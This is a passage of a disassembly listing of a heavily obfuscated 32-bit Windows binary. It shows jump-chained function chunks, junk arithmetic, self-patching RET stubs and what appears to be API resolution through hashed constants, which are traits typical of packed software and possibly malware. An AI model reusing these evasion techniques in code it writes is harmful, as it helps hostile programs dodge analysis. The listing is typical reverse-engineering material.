; FUNCTION CHUNK AT 00444C45 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp+4+var_4]
		push	4CC5544Eh
		pop	edi
		and	edi, 5DA8C21Dh
		test	edi, 2
		jmp	loc_439DB3
sub_44BD8A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_44BDA7:				; CODE XREF: sub_443F7F+712Ej
		jle	loc_4491BC
		sbb	ebx, 0D14F01B8h

loc_44BDB3:				; CODE XREF: sub_443F7F:loc_443E19j
		lea	edx, [ebp-14h]
		mov	eax, offset dword_448990
		call	sub_45A04B
		push	298FDFF8h
		xchg	edi, [esp+4+var_4]
		mov	eax, edi
		jmp	loc_458AD7
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45288A

loc_44BDCF:				; CODE XREF: sub_45288A-4D09j
		xor	esi, 37B7F6F2h
		add	esi, 88A850BCh
		push	offset sub_457DFE
		jmp	loc_459767
; END OF FUNCTION CHUNK	FOR sub_45288A
; ---------------------------------------------------------------------------
		pop	eax
		jmp	loc_43B488

; =============== S U B	R O U T	I N E =======================================



sub_44BDEB	proc near		; CODE XREF: sub_43D80Dp
					; dviuq5id:0044B6E4j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043B312 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044FD6F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00450550 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453B29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454A16 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00458E35 SIZE 00000014 BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		jb	loc_44FD6F
		mov	eax, [esp-4+arg_0]
		push	ecx
		jmp	loc_450550
sub_44BDEB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44BE04:				; CODE XREF: sub_44AE26+3424j
					; sub_4432C4+138A3j ...
		jb	loc_455FB3
		call	sub_43938B
		test	al, al
		jz	loc_45651C
		jmp	loc_43FC4B
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

locret_44BE1C:				; CODE XREF: dviuq5id:loc_43ED66j
		retn
; ---------------------------------------------------------------------------

loc_44BE1D:				; CODE XREF: dviuq5id:004428D3j
		jl	loc_44B79F
		cdq
		jns	loc_440B61
		jmp	loc_440275
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CCD1

loc_44BE2F:				; CODE XREF: sub_43CCD1:loc_44ED35j
		mov	[ebp-4], eax
		call	sub_44010B
		push	offset loc_44CB13
		jmp	loc_44786E
; END OF FUNCTION CHUNK	FOR sub_43CCD1
; ---------------------------------------------------------------------------
		call	sub_459194
		add	esp, 10h
		xchg	edi, [esp]
		mov	ebp, edi
		jmp	loc_459190
; ---------------------------------------------------------------------------

loc_44BE53:				; CODE XREF: dviuq5id:00453CAEj
		jl	loc_43EA65

; =============== S U B	R O U T	I N E =======================================



sub_44BE59	proc near		; CODE XREF: dviuq5id:0043BCFAj
					; sub_4512D6+Cp
		xchg	edi, [esp+0]
		pop	edi
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_44158C
sub_44BE59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452470

loc_44BE68:				; CODE XREF: sub_452470:loc_452480j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_43FB17
		jmp	loc_44805F
; END OF FUNCTION CHUNK	FOR sub_452470
; ---------------------------------------------------------------------------

locret_44BE79:				; CODE XREF: dviuq5id:loc_44EA9Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453046

loc_44BE7A:				; CODE XREF: sub_453046+Dj
		jmp	sub_445A59
; END OF FUNCTION CHUNK	FOR sub_453046
; ---------------------------------------------------------------------------
		pop	esi
		and	ebx, 65F06318h
		jmp	sub_4553DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9A5

loc_44BE8B:				; CODE XREF: sub_43B9A5+14454j
		jns	loc_43B56E

loc_44BE91:				; CODE XREF: sub_43B9A5:loc_43D962j
		push	offset loc_44DEC6
		jmp	nullsub_461
; END OF FUNCTION CHUNK	FOR sub_43B9A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_44BE9B:				; CODE XREF: sub_443328:loc_4457D0j
					; sub_44297E+AA36j
		or	esi, 955A57F0h
		and	esi, 5387ECBFh
		add	esi, 0AF4155B9h
		xchg	esi, [esp+0Ch+var_C]
		jmp	sub_454AAA
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
		adc	edi, ebp
		jmp	sub_443D0F
; ---------------------------------------------------------------------------

loc_44BEBC:				; DATA XREF: dviuq5id:0044F52Co
		lea	eax, sub_44FB5C
		mov	byte ptr [eax],	0C3h
		jmp	sub_44FB5C
; ---------------------------------------------------------------------------
		call	nullsub_471
		jmp	ds:dword_41D0A0
; ---------------------------------------------------------------------------

loc_44BED5:				; CODE XREF: dviuq5id:004592A3j
		jmp	sub_44B876
; ---------------------------------------------------------------------------

loc_44BEDA:				; CODE XREF: dviuq5id:004590D6j
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_482
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_482
; ---------------------------------------------------------------------------
		call	nullsub_10
		jmp	ds:dword_41D138
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 85h
		dd 0FFFFF13Fh, 0E9243C87h, 0FFFF8C69h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F9FB

loc_44BF04:				; CODE XREF: sub_44F9FB:loc_439F6Bj
		push	edx
		call	sub_43D28E
		push	25ED0142h
		pop	eax
		or	eax, 0C3D10AADh
		xor	eax, 91B861Eh
		push	esi
		jmp	loc_455E3F
; END OF FUNCTION CHUNK	FOR sub_44F9FB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446314

loc_44BF23:				; CODE XREF: sub_446314+10j
		jmp	loc_45A561
; END OF FUNCTION CHUNK	FOR sub_446314
; ---------------------------------------------------------------------------

loc_44BF28:				; CODE XREF: dviuq5id:0043E3A7j
		jmp	sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B24C

loc_44BF2D:				; CODE XREF: sub_43B24C+701Dj
		or	ebp, 0DD9134F0h
		jno	loc_44A5E0
		jmp	loc_44E54B
; END OF FUNCTION CHUNK	FOR sub_43B24C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44BF3E:				; CODE XREF: sub_43FA59:loc_4569CEj
		cmp	dword ptr [ebp-4], 3
		jnz	loc_44E54B
		jmp	loc_4469F4
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CC63

loc_44BF4D:				; CODE XREF: sub_44CC63:loc_44CC6Fj
		shr	ebx, 0Bh
		jmp	loc_458CFA
; END OF FUNCTION CHUNK	FOR sub_44CC63
; ---------------------------------------------------------------------------

loc_44BF55:				; CODE XREF: dviuq5id:loc_43D094j
		or	esi, 0CB9C25E7h
		sub	esi, 0E0FFE20Eh
		xor	esi, 0B37DA968h
		add	esi, 56A1C27Fh
		mov	[esi], eax
		jmp	loc_44D29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_44BF74:				; CODE XREF: sub_43AE68:loc_451582j
		pop	edx
		rol	eax, 16h
		sub	eax, 74D8F6C0h
		jmp	loc_4476F4
; ---------------------------------------------------------------------------

loc_44BF83:				; CODE XREF: sub_43AE68j
		call	sub_440EC1
; END OF FUNCTION CHUNK	FOR sub_43AE68
; START	OF FUNCTION CHUNK FOR sub_442852

loc_44BF88:				; CODE XREF: sub_442852+FFD2j
		jmp	loc_442C74
; END OF FUNCTION CHUNK	FOR sub_442852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_44BF8D:				; CODE XREF: sub_44846C+A3Dj
		jmp	loc_441DBD
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_44BF92:				; CODE XREF: sub_456A43+25ABj
		mov	edx, ds:dword_457D5C
		mov	ebx, [edx]
		sub	ebx, eax
		push	0F65BFBFCh
		pop	ecx
		sub	ecx, 0B307E0C3h
		add	ecx, 0B2A64ED0h
		add	ecx, ebp
		jmp	loc_455855
; END OF FUNCTION CHUNK	FOR sub_456A43
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44BFB6:				; CODE XREF: dviuq5id:00445E68j
		jmp	loc_452CA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44BFBB:				; CODE XREF: sub_454094-E797j
		jmp	loc_44CBB9
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		pop	edx
		jmp	sub_43CB05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_44BFC6:				; CODE XREF: sub_43CC42+Dj
		pop	esi
		mov	eax, ds:dword_4442A8
		or	eax, eax
		jnz	loc_447F5B
		jmp	loc_44F207
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_44BFDA:				; CODE XREF: sub_43FDFB:loc_451CD9j
		jz	loc_445EB9
		jmp	loc_4516DF
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452A6

loc_44BFE5:				; CODE XREF: sub_4452A6:loc_452390j
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		jmp	loc_443E52
; ---------------------------------------------------------------------------

loc_44BFF7:				; CODE XREF: sub_4452A6:loc_4548D9j
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_4422D0
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 4
		jmp	loc_443091
; END OF FUNCTION CHUNK	FOR sub_4452A6
; ---------------------------------------------------------------------------

loc_44C00D:				; CODE XREF: dviuq5id:loc_43E05Cj
					; dviuq5id:0043E070j
		add	eax, ds:4000FBh
		xor	eax, 957CFDFDh
		add	eax, ebp
		add	eax, 0FDF163E5h
		mov	eax, [eax]
		push	eax
		push	edx
		push	0B659718Bh
		jmp	loc_458991
; ---------------------------------------------------------------------------

loc_44C02F:				; CODE XREF: dviuq5id:0043FA28j
		ror	ebp, 17h

loc_44C032:				; CODE XREF: dviuq5id:loc_43FA19j
		sub	eax, 6C925B82h
		xor	eax, 7A9BC819h
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_44C03E:				; CODE XREF: sub_448FC7-B670j
		add	eax, ebp
		add	eax, 9DFE95E0h
		mov	eax, [eax]
		jmp	loc_43A9F4
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------

loc_44C04D:				; CODE XREF: dviuq5id:0044320Aj
		xchg	edx, [esp]
		push	edx
		push	95DF109Ch
		pop	edx
		rol	edx, 10h
		add	edx, 0EFA8145Bh
		xchg	edx, [esp]
		jmp	loc_453831
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408ED

loc_44C068:				; CODE XREF: sub_4408ED:loc_448019j
		mov	byte ptr [eax],	0C3h
		jmp	loc_43AF18
; END OF FUNCTION CHUNK	FOR sub_4408ED

; =============== S U B	R O U T	I N E =======================================



sub_44C070	proc near		; CODE XREF: sub_41088C+45p
					; sub_44C070+5j
					; DATA XREF: ...
		call	sub_44C07B
		jmp	ds:off_41D0A8
sub_44C070	endp


; =============== S U B	R O U T	I N E =======================================



sub_44C07B	proc near		; CODE XREF: dviuq5id:00443A50j
					; sub_44C070p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AB0B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043E218 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F219 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043F608 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043F972 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004436F5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044BA87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BB89 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044E633 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004523CC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004565F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00456902 SIZE 0000000E BYTES

		xchg	ebp, [esp+0]
		push	ebp
		pop	edx
		jmp	loc_43F608
sub_44C07B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44C085	proc near		; DATA XREF: dviuq5id:00454214o

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00441793 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C71 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00441E90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443695 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00443D19 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044615B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0045645D SIZE 00000012 BYTES

		popf
		sbb	ecx, ebx
		pop	ebx
		jb	loc_443D19
		push	edi
		jmp	loc_44615B
sub_44C085	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE53

loc_44C095:				; CODE XREF: sub_43EE53+14628j
		or	eax, 0CF0D4A0Dh
		xor	eax, 0E2EBD833h
		call	sub_457052

loc_44C0A6:				; CODE XREF: sub_4525D0+5160j
		jmp	loc_4435DA
; END OF FUNCTION CHUNK	FOR sub_43EE53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_44C0AB:				; CODE XREF: sub_44BD0B-1713j
		jmp	loc_44DCA6
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4393C3

loc_44C0B0:				; CODE XREF: sub_4393C3+15j
		jnz	loc_446831
		jmp	loc_45337D
; END OF FUNCTION CHUNK	FOR sub_4393C3
; ---------------------------------------------------------------------------

loc_44C0BB:				; CODE XREF: dviuq5id:0044C562j
		add	eax, 0CC47675Bh
		push	offset sub_44E3C2
		jmp	loc_4578A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA15

loc_44C0CB:				; CODE XREF: sub_43DA15:loc_44680Ej
		pop	ebx
		pop	ebx
		pop	eax
		pop	ecx
		xchg	edi, [esp-14h+arg_10]
		mov	ebp, edi
		pop	edi
		jmp	loc_453AA3
; END OF FUNCTION CHUNK	FOR sub_43DA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_44C0DA:				; CODE XREF: sub_43D53C:loc_448742j
		call	sub_449187
		mov	eax, 0C7CC2482h
		call	sub_453642
		mov	ds:off_41D158, eax
		lea	eax, sub_43D53C
		jmp	loc_441017
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_44C0FA:				; CODE XREF: sub_450686+3B50j
		pushf
		sbb	edx, ecx
		and	ecx, ebp

loc_44C0FF:				; CODE XREF: sub_450686:loc_4541CEj
		call	sub_441AE7

loc_44C104:				; CODE XREF: sub_43EAD5:loc_453527j
		xchg	ebx, [esp+0Ch+var_C]
		mov	edi, ebx
		pop	ebx
		or	edi, 98ACF15Dh
		add	edi, 46510CEDh
		jmp	loc_43C102
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_44C11B:				; CODE XREF: sub_4512BC-3A3j
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		call	sub_451E0A
		mov	eax, 0CEEC89B4h
		call	sub_44A58C
		mov	ds:dword_41D010, eax
		lea	eax, nullsub_15
		jmp	loc_454FBF
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------

locret_44C141:				; CODE XREF: dviuq5id:loc_4407FDj
		retn
; ---------------------------------------------------------------------------

loc_44C142:				; CODE XREF: dviuq5id:0045687Cj
		jnz	loc_444F45

; =============== S U B	R O U T	I N E =======================================



sub_44C148	proc near		; CODE XREF: sub_43CB4C+1B656p

; FUNCTION CHUNK AT 004548CA SIZE 0000000F BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 5
		setz	al
		jmp	loc_4548CA
sub_44C148	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4557A6

loc_44C15C:				; CODE XREF: sub_4557A6:loc_455BA5j
		popf
		test	ecx, 75ACD9Bh
		jmp	loc_45427F
; END OF FUNCTION CHUNK	FOR sub_4557A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C592

loc_44C168:				; CODE XREF: sub_44C592-F194j
		cmp	edi, 0B779849Bh
		jmp	loc_45A0E9
; END OF FUNCTION CHUNK	FOR sub_44C592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4530E7

loc_44C173:				; CODE XREF: sub_4530E7:loc_43E7D3j
		add	eax, [ebp-4]
		call	sub_43B89D

locret_44C17B:				; CODE XREF: sub_446181-B330j
		retn
; END OF FUNCTION CHUNK	FOR sub_4530E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_44C17C:				; CODE XREF: sub_44CFBC+1486j
		jle	loc_45588B
		jmp	loc_43DE86
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_44C187:				; CODE XREF: sub_44514D:loc_45885Bj
		add	edx, 0EEEF65A4h
		mov	edx, [edx]

loc_44C18F:				; CODE XREF: dviuq5id:loc_43EA6Dj
		imul	byte ptr [edx]
		push	offset loc_459A97

loc_44C196:				; CODE XREF: dviuq5id:loc_44F4D6j
		jmp	nullsub_334
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C20F

loc_44C19B:				; CODE XREF: sub_44C20F:loc_43EBC4j
		call	sub_44C294
		push	61885D9Fh
		pop	eax
		add	eax, 0BA64841Ch
		jmp	loc_440265
; END OF FUNCTION CHUNK	FOR sub_44C20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457EED

loc_44C1B1:				; CODE XREF: dviuq5id:loc_4399D5j
					; sub_457EED+Fj
		jnz	loc_442CD1
		jmp	loc_441A45
; END OF FUNCTION CHUNK	FOR sub_457EED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44C1BC:				; CODE XREF: sub_43FA59+E3ECj
		or	ecx, 4EDAAB3Eh

loc_44C1C2:				; CODE XREF: sub_43FA59:loc_43E962j
		call	sub_449B5B
		shl	esi, 10h
		jmp	loc_4406A6
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_44C1CF:				; CODE XREF: dviuq5id:00458C2Bj
		jo	loc_43EBD5

; =============== S U B	R O U T	I N E =======================================



sub_44C1D5	proc near		; CODE XREF: sub_43FF4E+Ep
		xchg	ebx, [esp+0]
		pop	ebx

loc_44C1D9:				; CODE XREF: sub_44250B+13FCFj
		push	eax
		push	offset loc_43DEE5
		jmp	nullsub_78
sub_44C1D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_44C1E4:				; CODE XREF: sub_4411C6:loc_44F991j
		and	ebx, edx
		add	ebp, 616288B4h
		pop	esi
		jmp	loc_450D2E
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_44C1F2:				; CODE XREF: sub_448FC7:loc_43DE0Ej
		mov	byte ptr [eax],	0C3h
		jmp	loc_449F04
; END OF FUNCTION CHUNK	FOR sub_448FC7

; =============== S U B	R O U T	I N E =======================================



sub_44C1FA	proc near		; CODE XREF: sub_419430+B1p
					; sub_44C1FA+5j
					; DATA XREF: ...
		call	sub_44C20F
		jmp	ds:off_41D1F4
sub_44C1FA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483A4

loc_44C205:				; CODE XREF: sub_4483A4+EB55j
		jmp	sub_4469F9
; END OF FUNCTION CHUNK	FOR sub_4483A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_44C20A:				; CODE XREF: sub_44A94D+D25j
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_44A94D

; =============== S U B	R O U T	I N E =======================================



sub_44C20F	proc near		; CODE XREF: sub_43938B:loc_444AA7j
					; sub_443A0A:loc_44A299j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043EBC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004488BB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044C19B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044DDAE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004589CA SIZE 0000001D BYTES

		jz	loc_44DDAE
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_43EBC4
sub_44C20F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_44C21F:				; CODE XREF: sub_43938B:loc_459574j
		xor	eax, 17AA4E81h
		cmp	eax, 0D6FFA0Fh
		jmp	loc_455B8D
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_44C230:				; CODE XREF: sub_445A59:loc_448928j
		pop	ebx
		add	ebx, 0F1334E83h
		sub	ebx, 99BE2C53h
		or	ebx, 0C153DBE2h
		add	ebx, 0AC92FF2h
		jmp	loc_44191D
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------

loc_44C24E:				; CODE XREF: dviuq5id:0043F183j
					; dviuq5id:0045116Aj
		and	edi, 0C7FB9B88h
		add	edi, 0E45E3047h
		xor	edi, 0C573EAAFh
		add	edi, 527BF4FCh
		mov	[edi], eax
		jmp	loc_44691F
; ---------------------------------------------------------------------------
		mov	eax, 4C5D3995h
		call	sub_453642
		mov	ds:dword_41D148, eax
		lea	eax, nullsub_193
		mov	byte ptr [eax],	0C3h

loc_44C286:				; CODE XREF: dviuq5id:0043B579j
		jmp	nullsub_193
; ---------------------------------------------------------------------------
		push	edi
		xor	edi, eax
		jmp	sub_4454D9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_340. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44C294	proc near		; CODE XREF: sub_44BAF7:loc_43D0F6j
					; sub_43F013+4p ...
		push	ebp
		call	sub_454FA5

loc_44C29A:				; CODE XREF: sub_44C50A+CB96j
		jmp	nullsub_79
sub_44C294	endp

; ---------------------------------------------------------------------------

loc_44C29F:				; CODE XREF: dviuq5id:loc_4477F7j
		jmp	loc_444BCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_44C2A4:				; CODE XREF: sub_44B624:loc_457884j
		push	eax
		mov	eax, edx
		call	sub_43D7C1
		mov	eax, [esp-0Ch+arg_8]
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_44C2B5:				; CODE XREF: sub_456253-16750j
					; sub_43CBD5+1417Cj
		push	edx
		push	0B7CF6264h
		jmp	loc_459DA9
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------

loc_44C2C0:				; DATA XREF: sub_4446E7+6o
		push	edx
		push	358B6A65h
		pop	edx
		or	edx, 47B1978Bh

loc_44C2CD:				; CODE XREF: dviuq5id:0044E3E5j
		jmp	loc_44A649
; ---------------------------------------------------------------------------

loc_44C2D2:				; CODE XREF: dviuq5id:00449A37j
		lea	eax, nullsub_479
		push	offset sub_448EDB
		jmp	locret_457F73
; ---------------------------------------------------------------------------
		mov	ds:off_41D028, eax
		lea	eax, sub_44BD0B
		mov	byte ptr [eax],	0C3h
		jmp	loc_449FB8

; =============== S U B	R O U T	I N E =======================================



sub_44C2F6	proc near		; CODE XREF: sub_4176BD+14p
					; sub_41A28F+90p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439E81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D869 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00444745 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00444BC4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445F10 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00446B3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447AB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447D3D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044934F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004504A2 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00450D85 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451B31 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452A9B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453165 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004543DF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0045827E SIZE 00000010 BYTES

		jnb	loc_4543DF
		push	1746B8F1h
		pop	eax
		rol	eax, 3
		sub	eax, 0A67C365h
		jmp	loc_450D85
sub_44C2F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44C310:				; CODE XREF: dviuq5id:00443EF5j
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		push	4E86AFC2h
		pop	eax
		jmp	loc_441A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_44C321:				; CODE XREF: sub_454228:loc_459E71j
					; sub_454228+5C64j
		sub	eax, 0AD8B1B8Bh
		add	eax, 4DD3C6AAh
		xchg	eax, [esp+14h+var_14]
		jmp	sub_4432C4
; END OF FUNCTION CHUNK	FOR sub_454228

; =============== S U B	R O U T	I N E =======================================



sub_44C335	proc near		; DATA XREF: sub_44A133:loc_444B31o
		mov	eax, [ebp-4]
		call	sub_43AF81
sub_44C335	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44C33D:				; CODE XREF: sub_43EB11+FB91j
		jmp	sub_43C4B5
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------

loc_44C342:				; CODE XREF: dviuq5id:0044E458j
		jmp	loc_4595D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_44C347:				; CODE XREF: sub_44A15A:loc_448055j
		mov	edx, [esp+0]
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		mov	eax, edx
		nop
		mov	eax, [esp+4+var_4]
		call	sub_44E3BA
		jmp	locret_456E80
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_441950
		jmp	loc_459DD9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399BB

loc_44C36D:				; CODE XREF: sub_4399BB+144E9j
		test	esi, 4535D235h
		jmp	loc_44D756
; END OF FUNCTION CHUNK	FOR sub_4399BB

; =============== S U B	R O U T	I N E =======================================



sub_44C378	proc near		; CODE XREF: sub_450686-10BFFp
					; dviuq5id:0044B829j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043CD66 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004450AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C7F7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00457760 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	esi
		jz	loc_44C7F7
		xor	eax, 5121FA4Eh
		jmp	loc_457760
sub_44C378	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_44C38E:				; CODE XREF: sub_44B624-8D9Ej
		add	esi, eax
		shl	edi, 16h
		cmp	esi, ebx
		jmp	loc_44C695
